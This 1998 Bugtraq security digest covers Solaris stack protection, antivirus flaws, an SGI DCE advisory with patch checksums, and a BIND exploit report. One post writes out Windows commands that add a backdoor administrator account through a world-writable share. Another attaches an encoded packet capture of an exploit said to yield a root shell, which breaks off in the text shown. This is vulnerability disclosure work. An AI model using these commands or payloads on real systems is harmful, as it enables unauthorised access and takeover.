Date: Wed, 17 Jun 1998 00:04:55 -0400 Reply-To: Bugtraq ListSender: Bugtraq List From: Automatic digest processor Subject: BUGTRAQ Digest - 14 Jun 1998 to 16 Jun 1998 To: Recipients of BUGTRAQ digests Message-Id: <19980617040705Z96657-13343+17@brimstone.netspace.org> There are 6 messages totalling 1252 lines in this issue. Topics of the day: 1. Solaris 2.6 non-executable stacks 2. Cheyenne Inoculan vulnerability on NT 3. ufsrestore sparc exploit 4. Dr Solomon's - Possible Hole 5. IRIX OSF/DCE Denial of Service Attack 6. Bind 4.9.6 ~ Current | X86 Exploit ---------------------------------------------------------------------- Date: Tue, 16 Jun 1998 12:21:41 +0200 From: Casper Dik Subject: Re: Solaris 2.6 non-executable stacks >On Fri, 12 Jun 1998, Dax Kelson wrote: >> A new feature in Solaris 2.6 is the ability to turn off executable stacks. >[...] >> Does anyone know how secure this implementation is? > >More importantly, does anyone know whether this breaks anything, like >early versions of Solar Designer's Linux patch did? The "protect_stack" script which implements this feature for 2.5[.1] does break JIT compilers for Java as it also protects all BSS pages. The 2.6 feature probably breaks gcc nested functions (when passed as arguments) and perhaps gcc objective C as both generate code on the stack. But I've heard no breakage reports on any major program; all reports I heard on protect_stack had to do with the data segment protection change. (Basically, I had no choice but to protect all ZFOD pages) The 2.6 feature is only supported on Ultra class and sun4m/sun4d systems; not on others, not en x86 either. I don't think x86 hardware supports the per-page protection bit required; you can only do it per-segment; this makes it impossible for programs to use mprotect() on the stack to get execute permission back. The 64 bit SPARC V9 ABI has removed the requirement for the stack to be executable; so the stack is not executable for 64 bit processes in Solaris 2.7. Casper ------------------------------ Date: Tue, 16 Jun 1998 10:44:24 -0500 From: Aleph One Subject: Re: Cheyenne Inoculan vulnerability on NT ---------- Forwarded message ---------- Date: Tue, 16 Jun 1998 08:11:03 -0400 From: Russ To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: Re: Cheyenne Inoculan vulnerability on NT According to a conversation I had with Computer Associates International Tech Support, the problem described on June 10th regarding being able to run arbitrary code on a machine running Inoculan v4.0 HAS NOT BEEN FIXED by their patch "Update to build 373, Service Pack 2A - il0145.zip". As of today, they stated that they hope to have a fix publicly available with the next signature file update. CAI have their own Listserv to keep interested parties up-to-date regarding their products; To keep updated with the latest news about InocuLAN, ARCserve & FAXserve please subscribe to CA E-news http://www.cai.com/cheyenne/listserv/ CAI do have a temporary fix which they have made available to at least one Inoculan customer. Why they have not deemed this important enough to make it available to all customers is a mystery. The original poster of this thread waited until he had seen the temporary fix in action before posting the exploit information on the assumption that what he received was now publicly available. If you run Inoculan, contact CAI and insist on the temporary fix until they make it available as part of a general service pack. Cheers, Russ ------------------------------ Date: Tue, 16 Jun 1998 09:26:10 -0400 From: Jesse Whyte Subject: Re: ufsrestore sparc exploit No luck here on 2.6, here's a list of the applied patches. Jesse $ showrev -p Patch: 105210-09 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu, SUNWarc Patch: 105401-13 Obsoletes: 105524-01 Requires: Incompatibles: Packages: SUNWcsu, SUNWcsr, SUNWarc, SUNWnisu Patch: 105216-03 Obsoletes: Requires: 105401-07 Incompatibles: Packages: SUNWcsu Patch: 105393-03 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 105490-04 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu, SUNWcsr, SUNWarc, SUNWbtool, SUNWhea, SUNWtoo, SUNWosdem, SUNWxcu4 Patch: 105518-01 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 105615-03 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 105621-02 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu, SUNWarc Patch: 105665-01 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 105667-01 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 105686-02 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 105736-01 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 105755-05 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 106033-01 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 106049-01 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 106271-03 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 106301-01 Obsoletes: Requires: Incompatibles: Packages: SUNWcsu Patch: 105181-05 Obsoletes: 105636-01, 105776-01 Requires: Incompatibles: Packages: SUNWcsr, SUNWcar, SUNWhea Patch: 105379-04 Obsoletes: Requires: Incompatibles: Packages: SUNWcsr Patch: 105720-03 Obsoletes: Requires: Incompatibles: Packages: SUNWcsr Patch: 105786-05 Obsoletes: Requires: Incompatibles: Packages: SUNWcsr Patch: 105845-01 Obsoletes: Requires: Incompatibles: Packages: SUNWcsr Patch: 105284-08 Obsoletes: Requires: Incompatibles: Packages: SUNWmfrun Patch: 105464-01 Obsoletes: Requires: Incompatibles: Packages: SUNWxwopt, SUNWxwman Patch: 105669-02 Obsoletes: Requires: Incompatibles: Packages: SUNWdtbas Patch: 105837-02 Obsoletes: Requires: Incompatibles: Packages: SUNWdtdte Patch: 106222-01 Obsoletes: Requires: Incompatibles: Packages: SUNWoldst Patch: 105558-01 Obsoletes: Requires: Incompatibles: Packages: SUNWdtdst Patch: 105375-08 Obsoletes: Requires: Incompatibles: Packages: SUNWluxal, SUNWluxdv, SUNWluxop Patch: 105552-02 Obsoletes: Requires: Incompatibles: Packages: SUNWnisu Patch: 105357-01 Obsoletes: Requires: Incompatibles: Packages: SUNWses Patch: 105356-05 Obsoletes: Requires: Incompatibles: Packages: SUNWssadv Patch: 105926-01 Obsoletes: Requires: Incompatibles: Packages: SUNWsutl Patch: 106125-04 Obsoletes: Requires: Incompatibles: Packages: SUNWswmt Patch: 105407-01 Obsoletes: Requires: Incompatibles: Packages: SUNWvolu ------------------------------ Date: Tue, 16 Jun 1998 10:44:46 -0500 From: Aleph One Subject: Dr Solomon's - Possible Hole ---------- Forwarded message ---------- Date: Mon, 15 Jun 1998 22:37:25 +0100 From: Nemo To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: Dr Solomon's - Possible Hole Dear All, I was looking at Dr Solomon's Management Edition Anti-virus for NT and believe some of the advise they give could leave a huge hole in the security of your network. Below is a cutting from their technical notes web page: http://www.drsolomon.com/products/avtknt/tnotes/Null.html ############################################################### Null Session Shares As part of the initial installation of Management Edition the repository is created and the following two shares are associated with it : Share Name Default Location Purpose REPO C:\NTTKME\DISKS Contains all Management Edition and Anti-Virus Toolkit components. MEUPGRD C:\NTTKME\DISKS\UPGRADES Holds installation scripts for machines being updated via Batch Installation. Batch Installations work via the Update Manager service running on the Management Server. It sends out a data packet across the network to the Management Agent running on the target machine(s). This packet indicates the name and location of the install script that the Management Agent should run to perform an update. The Management Agent performs the update by running the Update Agent. As this is being launched by an NT service, it runs under the Local System account, not the currently logged in user (if there is one). The Local System account does not normally have access to information across the network via a share. This would normally mean that it is unable to access the install scripts in the MEUPGRD share. The solution is to create what is termed a "Null Session Share". This is done automatically when Management Edition creates the repository. If the user inadvertently deletes and re-creates the share they must check that the null session share is still active. This is done via REGEDT32.EXE. Check for the following key: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters \NullSessionShares One of the values it should contain is MEUPGRD. The share itself should also be set to Full Control for Everyone. ######################################################################## The last sentence is the crux of the issue here. This null session share is on the server and the "everyone" group has full control. This means that anyone can edit the files in this share. Wouldn't it be an easy task to add the following commands : net user password jsmith /add net localgroup administrators jsmith /add (or equiv) Because the clients are running the scripts in the MEUPGRD with system privs the jsmith account will be created and added to the local admins group......then the attacker has every single NT client on your LAN to play with. Thoughts? Comments? Mnemonix http://www.users.globalnet.co.uk/~mnemonix ------------------------------ Date: Tue, 16 Jun 1998 11:17:18 -0700 From: SGI Security Coordinator Subject: IRIX OSF/DCE Denial of Service Attack DISTRIBUTION RESTRICTIONS - NONE - FOR PUBLIC RELEASE -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ Silicon Graphics Inc. Security Advisory Title: OSF/DCE Denial of Service Attack Title: CERT VB-97.12 Number: 19980601-01-PX Date: June, 16 1998 ______________________________________________________________________________ Silicon Graphics provides this information freely to the SGI user community for its consideration, interpretation, implementation and use. Silicon Graphics recommends that this information be acted upon as soon as possible. Silicon Graphics provides the information in this Security Advisory on an "AS-IS" basis only, and disclaims all warranties with respect thereto, express, implied or otherwise, including, without limitation, any warranty of merchantability or fitness for a particular purpose. In no event shall Silicon Graphics be liable for any loss of profits, loss of business, loss of data or for any indirect, special, exemplary, incidental or consequential damages of any kind arising from your use of, failure to use or improper use of any of the instructions or information in this Security Advisory. ______________________________________________________________________________ - ----------------------- - --- Issue Specifics --- - ----------------------- The Open Group has released an advisory via CERT concerning a buffer overflow which has been discovered with Distributed Computing Environment (DCE) security demon (secd) causing it core dump and no longer accept connections. Silicon Graphic's implementation of OSF/DCE is vulnerable to this denial of service attack. Silicon Graphics Inc. has investigated the issue and recommends the following steps for neutralizing the exposure. It is HIGHLY RECOMMENDED that these measures be implemented on ALL vulnerable SGI systems. This issue will be corrected in future releases of Silicon Graphic's OSF/DCE implementation. - -------------- - --- Impact --- - -------------- Any Silicon Graphics System that has purchased OSF/DCE and installed it on IRIX 5.3, 6.2, 6.3 or 6.4, is vulnerable to this denial of service attack. The denial of service attack can be performed locally and remotely and without the use of a local account on the system. Information on the denial of service attack has been posted as a CERT Vendor Bulletin from the Open Group and can be found at: ftp://ftp.cert.org/pub/cert_bulletins/VB-97.12.opengroup - ---------------- - --- Solution --- - ---------------- Upgrade to OSF/DCE & DFS 1.1C and install the following patches from the December 1997 or later Recommended/Required Patch Set: OS Version Vulnerable? Patch # Other Actions ---------- ----------- ------- ------------- IRIX 3.x no IRIX 4.x no IRIX 5.0.x no IRIX 5.1.x no IRIX 5.2 no IRIX 5.3 yes not avail see Note 1 IRIX 6.0.x no IRIX 6.1 no IRIX 6.2 yes 2678 or 2679 see Note 2 IRIX 6.3 yes 2680 or 2681 see Note 2 IRIX 6.4 yes 2682 or 2683 see Note 2 NOTES 1) Upgrade operating system. 2) Patches 2679, 2681 and 2683 are for the U.S. domestic version of OSF/DCE & DFS 1.1C and are not available from the standard SGI patch sources because they include strong encryption which cannot be exported outside of the United States without authorization. All U.S. customers who have purchased Silicon Graphic's U.S. domestic implementation of the OSF/DCE & DFS 1.1C should have received an SGI patch CD which contains these restricted patches. Please contact your U.S. SGI support provider if you have not received this patch CD: SC4-DCEDOM-1.1C DCE Domestic Security Module 1.1C Patch CD Patches are available via anonymous FTP and your service/support provider. The SGI anonymous FTP site is sgigate.sgi.com (204.94.209.1) or its mirror, ftp.sgi.com. Security information and patches can be found in the ~ftp/security and ~ftp/patches directories, respectfully. ##### Patch File Checksums #### The actual patch will be a tar file containing the following files: Filename: README.patch.2678 Algorithm #1 (sum -r): 03340 18 README.patch.2678 Algorithm #2 (sum): 44196 18 README.patch.2678 MD5 checksum: 3925265EE23DEACDD2421F1B332D6138 Filename: patchSG0002678 Algorithm #1 (sum -r): 29356 8 patchSG0002678 Algorithm #2 (sum): 28887 8 patchSG0002678 MD5 checksum: 8F70D3A0A297F21DB47A89C6522216AC Filename: patchSG0002678.DCE_hdr Algorithm #1 (sum -r): 29460 8 patchSG0002678.DCE_hdr Algorithm #2 (sum): 21868 8 patchSG0002678.DCE_hdr MD5 checksum: FB225D06B2C3388C90AEDEA602C47E9C Filename: patchSG0002678.DCE_sw Algorithm #1 (sum -r): 01092 20273 patchSG0002678.DCE_sw Algorithm #2 (sum): 38822 20273 patchSG0002678.DCE_sw MD5 checksum: F431CAD81201422515E5657F404D9A9E Filename: patchSG0002678.DCE_sw32 Algorithm #1 (sum -r): 32696 5828 patchSG0002678.DCE_sw32 Algorithm #2 (sum): 50088 5828 patchSG0002678.DCE_sw32 MD5 checksum: 69D82184EFE0C90B42E3580EE8C12C3F Filename: patchSG0002678.DCE_sw64 Algorithm #1 (sum -r): 49268 6303 patchSG0002678.DCE_sw64 Algorithm #2 (sum): 46879 6303 patchSG0002678.DCE_sw64 MD5 checksum: 327E6C8AA4EA66D28D9B4F4BA2C1C29E Filename: patchSG0002678.DFS_sw Algorithm #1 (sum -r): 57135 33041 patchSG0002678.DFS_sw Algorithm #2 (sum): 19241 33041 patchSG0002678.DFS_sw MD5 checksum: E304E1471272D29DEBDEF2C92B1F507E Filename: patchSG0002678.idb Algorithm #1 (sum -r): 18177 24 patchSG0002678.idb Algorithm #2 (sum): 34402 24 patchSG0002678.idb MD5 checksum: 9732B977851307A76D0A41915446AFD3 Filename: README.patch.2679 Algorithm #1 (sum -r): 12911 18 README.patch.2679 Algorithm #2 (sum): 45218 18 README.patch.2679 MD5 checksum: 0372E330C0F36F21BE1B18104B35764A Filename: patchSG0002679 Algorithm #1 (sum -r): 21166 4 patchSG0002679 Algorithm #2 (sum): 4443 4 patchSG0002679 MD5 checksum: 1EF8D675D4970C3680ABF3F172707A18 Filename: patchSG0002679.DCE_domestic_sw Algorithm #1 (sum -r): 00651 6058 patchSG0002679.DCE_domestic_sw Algorithm #2 (sum): 2779 6058 patchSG0002679.DCE_domestic_sw MD5 checksum: 58DBF50346C7C061B880307FC93F529B Filename: patchSG0002679.DCE_domestic_sw32 Algorithm #1 (sum -r): 60926 5912 patchSG0002679.DCE_domestic_sw32 Algorithm #2 (sum): 30244 5912 patchSG0002679.DCE_domestic_sw32 MD5 checksum: 542C70B9A9E9AB67B692797C027B03B5 Filename: patchSG0002679.DCE_domestic_sw64 Algorithm #1 (sum -r): 42845 6378 patchSG0002679.DCE_domestic_sw64 Algorithm #2 (sum): 3556 6378 patchSG0002679.DCE_domestic_sw64 MD5 checksum: 7AAF218B85F599616F0177AA0EB33EA6 Filename: patchSG0002679.DFS_domestic_sw Algorithm #1 (sum -r): 01958 26147 patchSG0002679.DFS_domestic_sw Algorithm #2 (sum): 40763 26147 patchSG0002679.DFS_domestic_sw MD5 checksum: 16AC2AB4DAADB7FC858E17E04A2EBB80 Filename: patchSG0002679.idb Algorithm #1 (sum -r): 32131 10 patchSG0002679.idb Algorithm #2 (sum): 7644 10 patchSG0002679.idb MD5 checksum: A32549C1EB308E2E60691C5E0D5F4AE3 Filename: README.patch.2680 Algorithm #1 (sum -r): 07341 17 README.patch.2680 Algorithm #2 (sum): 27764 17 README.patch.2680 MD5 checksum: 426FB2F07E7D475A6041082D4ABF2C88 Filename: patchSG0002680 Algorithm #1 (sum -r): 41854 8 patchSG0002680 Algorithm #2 (sum): 12427 8 patchSG0002680 MD5 checksum: E1FDE5E34BDA47AC2F49A84F90480D34 Filename: patchSG0002680.DCE_hdr Algorithm #1 (sum -r): 38241 74 patchSG0002680.DCE_hdr Algorithm #2 (sum): 46233 74 patchSG0002680.DCE_hdr MD5 checksum: C1AFA1041993291393C9D2E695D11A57 Filename: patchSG0002680.DCE_sw Algorithm #1 (sum -r): 15573 21331 patchSG0002680.DCE_sw Algorithm #2 (sum): 54145 21331 patchSG0002680.DCE_sw MD5 checksum: B18761B8BD7C8D2132D66E163E7A9A03 Filename: patchSG0002680.DCE_sw32 Algorithm #1 (sum -r): 53311 5838 patchSG0002680.DCE_sw32 Algorithm #2 (sum): 10596 5838 patchSG0002680.DCE_sw32 MD5 checksum: 247FAC6371C9F16EED37ED2ADA18C6FA Filename: patchSG0002680.DCE_sw64 Algorithm #1 (sum -r): 08341 6318 patchSG0002680.DCE_sw64 Algorithm #2 (sum): 24100 6318 patchSG0002680.DCE_sw64 MD5 checksum: 922CF0068BF93FF6B2AEEDF7791CF19D Filename: patchSG0002680.DFS_sw Algorithm #1 (sum -r): 60299 10516 patchSG0002680.DFS_sw Algorithm #2 (sum): 16894 10516 patchSG0002680.DFS_sw MD5 checksum: 8C41AE6B8F34F21CC213307E936D0E7E Filename: patchSG0002680.idb Algorithm #1 (sum -r): 21012 19 patchSG0002680.idb Algorithm #2 (sum): 49791 19 patchSG0002680.idb MD5 checksum: 5F9B2EFBD7382D1E9C805C4AB39790AC Filename: README.patch.2681 Algorithm #1 (sum -r): 37820 17 README.patch.2681 Algorithm #2 (sum): 23466 17 README.patch.2681 MD5 checksum: BF90D4120752681AA8CC85E30D8F9B2C Filename: patchSG0002681 Algorithm #1 (sum -r): 06707 4 patchSG0002681 Algorithm #2 (sum): 52425 4 patchSG0002681 MD5 checksum: D8B53358819662E4F37756EDCBC46E04 Filename: patchSG0002681.DCE_domestic_sw Algorithm #1 (sum -r): 52817 6060 patchSG0002681.DCE_domestic_sw Algorithm #2 (sum): 13736 6060 patchSG0002681.DCE_domestic_sw MD5 checksum: B83F91BF6788F1CF5EF4118B259B3651 Filename: patchSG0002681.DCE_domestic_sw32 Algorithm #1 (sum -r): 02189 5909 patchSG0002681.DCE_domestic_sw32 Algorithm #2 (sum): 26545 5909 patchSG0002681.DCE_domestic_sw32 MD5 checksum: 3494E5F01F246CCAC8F98299B5A0FC06 Filename: patchSG0002681.DCE_domestic_sw64 Algorithm #1 (sum -r): 05410 6378 patchSG0002681.DCE_domestic_sw64 Algorithm #2 (sum): 3477 6378 patchSG0002681.DCE_domestic_sw64 MD5 checksum: 57D90B48AF707EF1C494AEFF621D76B6 Filename: patchSG0002681.DFS_domestic_sw Algorithm #1 (sum -r): 37813 3102 patchSG0002681.DFS_domestic_sw Algorithm #2 (sum): 10135 3102 patchSG0002681.DFS_domestic_sw MD5 checksum: 9098B23B1C947FEF6C6E3282D7C12BC8 Filename: patchSG0002681.idb Algorithm #1 (sum -r): 48063 4 patchSG0002681.idb Algorithm #2 (sum): 34347 4 patchSG0002681.idb MD5 checksum: 0C25153F4F015AC9ABE43AEE37EBE560 Filename: README.patch.2682 Algorithm #1 (sum -r): 36320 16 README.patch.2682 Algorithm #2 (sum): 25472 16 README.patch.2682 MD5 checksum: FBD4E422418F1C04BE834B01DA32A956 Filename: patchSG0002682 Algorithm #1 (sum -r): 44327 6 patchSG0002682 Algorithm #2 (sum): 3707 6 patchSG0002682 MD5 checksum: CB79E4CD6C3D177F4C2F9DC4F2A4C31F Filename: patchSG0002682.DCE_hdr Algorithm #1 (sum -r): 34388 1 patchSG0002682.DCE_hdr Algorithm #2 (sum): 9815 1 patchSG0002682.DCE_hdr MD5 checksum: DFDD445FF99356C86CFBF4C4BAF7F4AB Filename: patchSG0002682.DCE_sw Algorithm #1 (sum -r): 56190 16020 patchSG0002682.DCE_sw Algorithm #2 (sum): 52603 16020 patchSG0002682.DCE_sw MD5 checksum: A9D064BA7D97E4AFDBEDA8BB0428A767 Filename: patchSG0002682.DCE_sw32 Algorithm #1 (sum -r): 26046 6099 patchSG0002682.DCE_sw32 Algorithm #2 (sum): 41071 6099 patchSG0002682.DCE_sw32 MD5 checksum: 73B1042595A90F900B7B4838CA5181DA Filename: patchSG0002682.DCE_sw64 Algorithm #1 (sum -r): 06103 6370 patchSG0002682.DCE_sw64 Algorithm #2 (sum): 63088 6370 patchSG0002682.DCE_sw64 MD5 checksum: FD8A1B2D30FDA797B995117BF140FC55 Filename: patchSG0002682.DFS_sw Algorithm #1 (sum -r): 56717 9573 patchSG0002682.DFS_sw Algorithm #2 (sum): 64974 9573 patchSG0002682.DFS_sw MD5 checksum: 226707FB10F844E2CB4F30595AC70FD8 Filename: patchSG0002682.idb Algorithm #1 (sum -r): 10563 16 patchSG0002682.idb Algorithm #2 (sum): 26825 16 patchSG0002682.idb MD5 checksum: FF387CDB1EE4EF8F9376A850AB2F8379 Filename: README.patch.2683 Algorithm #1 (sum -r): 32338 15 README.patch.2683 Algorithm #2 (sum): 21219 15 README.patch.2683 MD5 checksum: 0DF1BDCD671FA2E03A58C9838A680928 Filename: patchSG0002683 Algorithm #1 (sum -r): 58679 4 patchSG0002683 Algorithm #2 (sum): 56375 4 patchSG0002683 MD5 checksum: F255015A5340CD34B0D707D396FD6D6B Filename: patchSG0002683.DCE_domestic_sw Algorithm #1 (sum -r): 25494 5598 patchSG0002683.DCE_domestic_sw Algorithm #2 (sum): 54032 5598 patchSG0002683.DCE_domestic_sw MD5 checksum: D54E04B44F4385167E3E93B7CC694D5F Filename: patchSG0002683.DCE_domestic_sw32 Algorithm #1 (sum -r): 50283 6197 patchSG0002683.DCE_domestic_sw32 Algorithm #2 (sum): 62501 6197 patchSG0002683.DCE_domestic_sw32 MD5 checksum: B611492E5C9731F095BC21D580405B33 Filename: patchSG0002683.DCE_domestic_sw64 Algorithm #1 (sum -r): 28076 6442 patchSG0002683.DCE_domestic_sw64 Algorithm #2 (sum): 6953 6442 patchSG0002683.DCE_domestic_sw64 MD5 checksum: A81BBDA039240C9EF751557A8D707FE0 Filename: patchSG0002683.DFS_domestic_sw Algorithm #1 (sum -r): 20332 3263 patchSG0002683.DFS_domestic_sw Algorithm #2 (sum): 63172 3263 patchSG0002683.DFS_domestic_sw MD5 checksum: E24CE4010A087AF805253C5BCCF6A325 Filename: patchSG0002683.idb Algorithm #1 (sum -r): 30870 4 patchSG0002683.idb Algorithm #2 (sum): 34408 4 patchSG0002683.idb MD5 checksum: 991B340AFDE13737FA40F584D4854989 - ------------------------ - --- Acknowledgments --- - ------------------------ Silicon Graphics wishes to thank the the CERT Coordination Center for their assistance in this matter. - ----------------------------------------------------------- - --- Silicon Graphics Inc. Security Information/Contacts --- - ----------------------------------------------------------- If there are questions about this document, email can be sent to cse-security-alert@sgi.com. ------oOo------ Silicon Graphics provides security information and patches for use by the entire SGI community. This information is freely available to any person needing the information and is available via anonymous FTP and the Web. The primary SGI anonymous FTP site for security information and patches is sgigate.sgi.com (204.94.209.1). Security information and patches are located under the directories ~ftp/security and ~ftp/patches, respectively. The Silicon Graphics Security Headquarters Web page is accessible at the URL http://www.sgi.com/Support/security/security.html. For issues with the patches on the FTP sites, email can be sent to cse-security-alert@sgi.com. For assistance obtaining or working with security patches, please contact your SGI support provider. ------oOo------ Silicon Graphics provides a free security mailing list service called wiretap and encourages interested parties to self-subscribe to receive (via email) all SGI Security Advisories when they are released. Subscribing to the mailing list can be done via the Web (http://www.sgi.com/Support/security/wiretap.html) or by sending email to SGI as outlined below. % mail wiretap-request@sgi.com subscribe wiretap end ^d In the example above, is the email address that you wish the mailing list information sent to. The word end must be on a separate line to indicate the end of the body of the message. The control-d (^d) is used to indicate to the mail program that you are finished composing the mail message. ------oOo------ Silicon Graphics provides a comprehensive customer World Wide Web site. This site is located at http://www.sgi.com/Support/security/security.html. ------oOo------ For reporting *NEW* SGI security issues, email can be sent to security-alert@sgi.com or contact your SGI support provider. A support contract is not required for submitting a security report. ______________________________________________________________________________ This information is provided freely to all interested parties and may be redistributed provided that it is not altered in any way, Silicon Graphics is appropriately credited and the document retains and includes its valid PGP signature. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNYawbbQ4cFApAP75AQFqPAP/UzEcvdjhYI0Er3qyyD6TFY+XdI6SGozh 2VYWp/SynZ5LSiL6RJ25RXBuNZVWYwOxnj/UtxGTOi2bdUtW+EnzEtdOQpeTXrk+ Z5trfGVOr0w3vQdzwPC9HQ9YCC6qFTsGoR3cZC7rnpEdd3BqDCbPhG9reO0Tk9v8 W60B5v7c2M4= =ea2s -----END PGP SIGNATURE----- ------------------------------ Date: Tue, 16 Jun 1998 16:10:13 -0600 From: System Administrator Subject: Bind 4.9.6 ~ Current | X86 Exploit This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --2093887258-1556853466-898035013=:24416 Content-Type: TEXT/PLAIN; charset=US-ASCII My apologies if this problem is already known. The attached file is a tcpdump written out, of a person i know, testing a new exploit for bind on me. To read this file and make any sense of it: tcpdump -vvxr scanme2 It would appear to be another buffer overflow, and triggering it with sending mass "9090" to something. We are looking further into this, but do not yet have a exploit for it, but are a bit more concearned with a patch. It looks like it was spawned off the idea of the inverse query exploit. Also, at first look it appears the problem probally originates in ns_resp.c, under the /named directory in source. And the code I sent happens to corrupt the stack by adding "909090909090~" on the end of packets, corrupting the stack, crashing named, after leaving a root shell. It is also rumored that there are two version of this exploit already out, one a bit more public than the other, this one was the unreleased, not very public version. *side note* Ive definetly got some of this wrong, but any information would be very helpfull on it. -------------------- System Administrator Http://www.303.org/~netmask/ root@303.org --2093887258-1556853466-898035013=:24416 Content-Type: APPLICATION/octet-stream; name=scanme2 Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: 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 